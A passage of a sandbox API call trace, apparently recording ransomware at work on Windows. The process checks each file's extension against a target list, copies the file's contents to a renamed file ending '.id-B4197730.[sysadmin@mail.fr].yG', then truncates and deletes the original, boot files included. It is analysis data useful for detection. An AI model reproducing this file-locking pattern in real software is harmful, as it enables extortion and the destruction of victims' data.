	[0044.803] CloseHandle (hObject=0x380) returned 1
	[0044.804] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.804] SetEndOfFile (hFile=0x2f0) returned 1
	[0044.805] CloseHandle (hObject=0x2f0) returned 1
	[0044.805] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.806] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1
	[0044.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.806] lstrlenW (lpString=".doc") returned 4
	[0044.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString=".docx") returned 5
	[0044.806] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.806] lstrlenW (lpString=".pdf") returned 4
	[0044.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString=".xls") returned 4
	[0044.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString=".xlsx") returned 5
	[0044.806] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.806] lstrlenW (lpString=".ppt") returned 4
	[0044.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.806] lstrlenW (lpString=".zip") returned 4
	[0044.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.806] lstrlenW (lpString=".rar") returned 4
	[0044.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString=".bz2") returned 4
	[0044.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.806] lstrlenW (lpString=".7z") returned 3
	[0044.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".dbf") returned 4
	[0044.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".1cd") returned 4
	[0044.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".jpg") returned 4
	[0044.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".doc") returned 4
	[0044.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString=".docx") returned 5
	[0044.807] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.807] lstrlenW (lpString=".pdf") returned 4
	[0044.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString=".xls") returned 4
	[0044.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString=".xlsx") returned 5
	[0044.807] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.807] lstrlenW (lpString=".ppt") returned 4
	[0044.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".zip") returned 4
	[0044.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.807] lstrlenW (lpString=".rar") returned 4
	[0044.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString=".bz2") returned 4
	[0044.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString=".7z") returned 3
	[0044.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".dbf") returned 4
	[0044.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.807] lstrlenW (lpString=".1cd") returned 4
	[0044.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0044.808] lstrlenW (lpString=".jpg") returned 4
	[0044.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.808] lstrcmpiW (lpString1=".LOG", lpString2=".yG") returned -1
	[0044.808] lstrlenW (lpString="BCD.LOG") returned 7
	[0044.808] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0044.808] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".doc") returned 4
	[0044.809] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString=".docx") returned 5
	[0044.809] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0044.809] lstrlenW (lpString=".pdf") returned 4
	[0044.809] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0044.809] lstrlenW (lpString=".xls") returned 4
	[0044.809] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0044.809] lstrlenW (lpString=".xlsx") returned 5
	[0044.809] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0044.809] lstrlenW (lpString=".ppt") returned 4
	[0044.809] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".zip") returned 4
	[0044.809] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0044.809] lstrlenW (lpString=".rar") returned 4
	[0044.809] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0044.809] lstrlenW (lpString=".bz2") returned 4
	[0044.809] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString=".7z") returned 3
	[0044.809] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".dbf") returned 4
	[0044.809] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".1cd") returned 4
	[0044.809] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".jpg") returned 4
	[0044.809] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.809] lstrlenW (lpString=".doc") returned 4
	[0044.809] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0044.809] lstrlenW (lpString=".docx") returned 5
	[0044.809] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0044.809] lstrlenW (lpString=".pdf") returned 4
	[0044.810] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0044.810] lstrlenW (lpString=".xls") returned 4
	[0044.810] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0044.810] lstrlenW (lpString=".xlsx") returned 5
	[0044.810] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0044.810] lstrlenW (lpString=".ppt") returned 4
	[0044.810] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0044.810] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.810] lstrlenW (lpString=".zip") returned 4
	[0044.810] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0044.810] lstrlenW (lpString=".rar") returned 4
	[0044.810] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0044.810] lstrlenW (lpString=".bz2") returned 4
	[0044.810] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0044.810] lstrlenW (lpString=".7z") returned 3
	[0044.810] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0044.810] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.810] lstrlenW (lpString=".dbf") returned 4
	[0044.810] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0044.810] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.810] lstrlenW (lpString=".1cd") returned 4
	[0044.810] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0044.810] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0044.810] lstrlenW (lpString=".jpg") returned 4
	[0044.810] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0044.810] lstrcmpiW (lpString1=".DAT", lpString2=".yG") returned -1
	[0044.810] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0044.810] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.811] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=65536) returned 1
	[0044.811] CloseHandle (hObject=0x2f0) returned 1
	[0044.811] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0044.811] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.811] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0044.811] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.811] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.811] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0044.812] GetLastError () returned 0x0
	[0044.812] ReadFile (in: hFile=0x2f0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x10000, lpOverlapped=0x0) returned 1
	[0044.814] WriteFile (in: hFile=0x380, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x10010, lpOverlapped=0x0) returned 1
	[0044.816] ReadFile (in: hFile=0x2f0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.816] WriteFile (in: hFile=0x380, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0044.816] SetEndOfFile (hFile=0x380) returned 1
	[0044.817] CloseHandle (hObject=0x380) returned 1
	[0044.818] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.818] SetEndOfFile (hFile=0x2f0) returned 1
	[0044.819] CloseHandle (hObject=0x2f0) returned 1
	[0044.819] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0044.820] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0044.820] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.820] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.820] lstrlenW (lpString=".doc") returned 4
	[0044.820] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString=".docx") returned 5
	[0044.820] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0044.820] lstrlenW (lpString=".pdf") returned 4
	[0044.820] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString=".xls") returned 4
	[0044.820] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString=".xlsx") returned 5
	[0044.820] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0044.820] lstrlenW (lpString=".ppt") returned 4
	[0044.820] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.820] lstrlenW (lpString=".zip") returned 4
	[0044.820] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString=".rar") returned 4
	[0044.820] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString=".bz2") returned 4
	[0044.820] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0044.820] lstrlenW (lpString=".7z") returned 3
	[0044.820] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0044.820] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.820] lstrlenW (lpString=".dbf") returned 4
	[0044.820] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0044.820] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.820] lstrlenW (lpString=".1cd") returned 4
	[0044.820] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".jpg") returned 4
	[0044.821] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".doc") returned 4
	[0044.821] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString=".docx") returned 5
	[0044.821] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0044.821] lstrlenW (lpString=".pdf") returned 4
	[0044.821] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString=".xls") returned 4
	[0044.821] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString=".xlsx") returned 5
	[0044.821] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0044.821] lstrlenW (lpString=".ppt") returned 4
	[0044.821] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".zip") returned 4
	[0044.821] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString=".rar") returned 4
	[0044.821] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString=".bz2") returned 4
	[0044.821] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0044.821] lstrlenW (lpString=".7z") returned 3
	[0044.821] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".dbf") returned 4
	[0044.821] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".1cd") returned 4
	[0044.821] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0044.821] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0044.821] lstrlenW (lpString=".jpg") returned 4
	[0044.821] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0044.822] lstrcmpiW (lpString1=".p7b", lpString2=".yG") returned -1
	[0044.822] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0044.822] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0045.066] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4662) returned 1
	[0045.066] CloseHandle (hObject=0x37c) returned 1
	[0045.066] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0045.067] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.067] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.067] lstrlenW (lpString=".doc") returned 4
	[0045.067] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0045.067] lstrlenW (lpString=".docx") returned 5
	[0045.067] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0045.067] lstrlenW (lpString=".pdf") returned 4
	[0045.067] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0045.067] lstrlenW (lpString=".xls") returned 4
	[0045.067] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0045.067] lstrlenW (lpString=".xlsx") returned 5
	[0045.067] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0045.067] lstrlenW (lpString=".ppt") returned 4
	[0045.067] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.067] lstrlenW (lpString=".zip") returned 4
	[0045.067] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0045.067] lstrlenW (lpString=".rar") returned 4
	[0045.067] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0045.067] lstrlenW (lpString=".bz2") returned 4
	[0045.067] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0045.067] lstrlenW (lpString=".7z") returned 3
	[0045.067] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.067] lstrlenW (lpString=".dbf") returned 4
	[0045.067] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.067] lstrlenW (lpString=".1cd") returned 4
	[0045.067] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0045.067] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".jpg") returned 4
	[0045.068] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".doc") returned 4
	[0045.068] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0045.068] lstrlenW (lpString=".docx") returned 5
	[0045.068] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0045.068] lstrlenW (lpString=".pdf") returned 4
	[0045.068] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0045.068] lstrlenW (lpString=".xls") returned 4
	[0045.068] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0045.068] lstrlenW (lpString=".xlsx") returned 5
	[0045.068] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0045.068] lstrlenW (lpString=".ppt") returned 4
	[0045.068] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".zip") returned 4
	[0045.068] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0045.068] lstrlenW (lpString=".rar") returned 4
	[0045.068] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0045.068] lstrlenW (lpString=".bz2") returned 4
	[0045.068] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0045.068] lstrlenW (lpString=".7z") returned 3
	[0045.068] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".dbf") returned 4
	[0045.068] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".1cd") returned 4
	[0045.068] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0045.068] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0045.068] lstrlenW (lpString=".jpg") returned 4
	[0045.068] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0045.069] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.069] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26
	[0045.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0045.069] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4450) returned 1
	[0045.069] CloseHandle (hObject=0x37c) returned 1
	[0045.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20
	[0045.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0045.069] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.069] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0045.070] GetLastError () returned 0x0
	[0045.070] ReadFile (in: hFile=0x37c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1162, lpOverlapped=0x0) returned 1
	[0045.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1170, lpOverlapped=0x0) returned 1
	[0045.072] ReadFile (in: hFile=0x37c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0045.072] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x108, lpOverlapped=0x0) returned 1
	[0045.072] SetEndOfFile (hFile=0x2e4) returned 1
	[0045.072] CloseHandle (hObject=0x2e4) returned 1
	[0045.073] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.073] SetEndOfFile (hFile=0x37c) returned 1
	[0045.074] CloseHandle (hObject=0x37c) returned 1
	[0045.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
